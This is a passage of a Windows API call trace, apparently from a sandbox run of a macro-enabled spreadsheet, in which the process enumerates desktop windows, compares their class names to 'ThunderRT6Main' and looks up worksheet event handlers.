0x4f0 [0150.263] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0150.263] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0150.263] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0150.263] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0150.263] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0150.263] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.263] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.263] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0150.263] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0150.263] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0150.263] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0150.263] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0150.263] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0150.263] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.263] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.264] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0150.264] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0150.264] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0150.264] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0150.264] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0150.264] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0150.264] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0150.264] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0150.264] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0150.264] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0150.264] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0150.264] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0150.264] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0150.264] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0150.264] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0150.264] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0150.264] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0150.264] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0150.264] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0150.264] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0150.264] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0150.264] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0150.264] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.264] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.264] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.264] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0150.264] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0150.264] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0150.264] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.264] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0150.264] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0150.264] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0150.264] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.264] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0150.264] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.264] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.264] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.264] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0150.264] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.265] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.265] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0150.265] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.265] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.265] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0150.265] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0150.265] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.265] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0150.265] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0150.265] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.265] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0150.265] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0150.265] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0150.265] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0150.265] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0150.265] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.265] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0150.265] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.265] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.265] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0150.265] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.265] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.265] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0150.265] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0150.265] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.265] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0150.265] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0150.265] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0150.265] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0150.265] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.265] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.265] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0150.266] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0150.266] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0150.266] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0150.266] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0150.266] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.266] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0150.266] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0150.266] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0150.266] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.266] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0150.266] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0150.266] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0150.266] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0150.266] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0150.266] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0150.266] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0150.266] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.266] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0150.266] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0150.266] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0150.266] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0150.266] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0150.266] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0150.266] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0150.266] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0150.266] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.266] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0150.266] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0150.266] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.266] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0150.266] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0150.266] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0150.266] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0150.266] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0150.266] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0150.266] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0150.266] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0150.266] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0150.266] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5962130 [0150.267] IMalloc:Free (This=0x7fefe465380, pv=0x5962130) [0150.493] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0150.493] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0150.493] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0153.352] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0153.352] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0153.352] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0153.353] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0153.353] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0153.353] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0153.356] strncpy_s (in: _Dst=0x64b0000, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0153.356] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0153.356] bsearch (_Key=0x1e7f38, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0153.356] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0153.356] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0153.356] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679bb90) returned 0x0 [0153.357] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0153.357] IUnknown:Release (This=0x679bb90) returned 0x15 [0153.357] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x5a48630) returned 0x0 [0153.357] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0153.357] IUnknown:Release (This=0x5a48630) returned 0x12 [0153.357] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c130) returned 0x0 [0153.357] IUnknown:AddRef (This=0x679c130) returned 0x9 [0153.358] IUnknown:Release (This=0x679c130) returned 0x8 [0153.358] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c6d0) returned 0x0 [0153.358] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0153.358] IUnknown:Release (This=0x679c6d0) returned 0x6 [0153.358] GetCurrentThreadId () returned 0xa30 [0153.358] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0153.358] GetDesktopWindow () returned 0x10010 [0153.358] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0153.358] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0153.358] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0153.358] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.359] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0153.359] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.359] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.359] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.359] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0153.359] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.359] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.359] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.359] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0153.359] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.359] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.359] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.359] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0153.359] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.359] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.359] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.359] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0153.359] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.359] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.359] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.359] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0153.359] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.359] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.359] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.359] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0153.359] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.359] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.359] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.359] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0153.359] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0153.359] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0153.359] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.360] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0153.360] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0153.360] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0153.360] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.360] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0153.360] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.360] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.360] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.360] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0153.360] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0153.360] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0153.360] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.360] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0153.360] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0153.360] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0153.360] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0153.360] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0153.360] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.360] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.360] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0153.360] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0153.360] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0153.360] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0153.360] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0153.360] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0153.360] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.360] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.360] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0153.360] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0153.360] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.360] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.360] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.360] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0153.360] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.360] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.360] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.360] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0153.360] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.361] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.361] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.361] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0153.361] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.361] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.361] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.361] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0153.361] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0153.361] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0153.361] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.361] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0153.361] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0153.361] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0153.361] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.361] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0153.361] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0153.361] GetWindowLongPtrA 